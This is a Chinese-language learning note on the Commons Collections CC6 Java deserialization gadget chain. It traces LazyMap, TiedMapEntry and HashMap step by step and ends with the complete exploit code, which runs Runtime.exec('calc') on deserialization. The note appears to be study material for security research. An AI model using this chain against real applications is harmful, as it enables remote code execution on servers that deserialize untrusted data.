cc6链
TiedMapEntry
第一步
与cc1一样前面执行代码部分不变
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
HashMap<Object, Object> hashMap = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
然后我们看LazyMap get源码
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
第二步
这个时候我们要找地方调用get:tiedmapentry
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
HashMap<Object, Object> hashMap = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "key");
tiedMapEntry.getValue();
第三步
因为 getValue() 这一个方法是相当相当常见的,所以我们一般会优先找同一类下是否存在调用情况。
寻找到同名函数下的 hashCode() 方法调用了 getValue() 方法。
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
第四步
我们去找谁调用了hashCode() 方法
在 Java 反序列化当中,找到 hashCode() 之后的链子用的基本都是这一条。
xxx.readObject()
HashMap.put() --自动调用--> HashMap.hash()
后续利用链.hashCode()
put函数
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
hash函数
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
执行代码
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
HashMap<Object, Object> hashMap = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
第五步
因为上面的代码不用等到序列化反序列化就执行了,所以我们要对其中一个参数进行修改,导致他到其中一步就不会执行,然后等所有值都给完了之后通过反射进行修改,接着进行序列化就能执行了
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
上面这个变成
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
这样他在第一时间就不能被执行了
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object,Object>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
解析其中一部分代码
1.Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
这个代码的意思是假如传入的key不存在那么他的value就是1,比如
map.put("key1", 100); map.put("key2", 200);
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
Object value1 = lazyMap.get("key1"); // 从原始 map 获取,返回 100
Object value2 = lazyMap.get("key3"); // 不存在于原始 map,返回 ConstantTransformer 中的常量值 1
2.TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
这个代码就是传入map为lazymap,然后找key为aaa的,没有就是让他的value为1
下一步就是删掉键值为aaa的然后把键值为chainTransform的传入,因为他前面已经把put那些搞好了,修改值然后进行序列化就可以触发了,而不是在前面put就直接触发
map.remove("aaa");
Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);
serialize(map2);
unserialize("ser.bin");
全部代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object,Object>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
map.remove("aaa");
Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);
serialize(map2);
unserialize("ser.bin");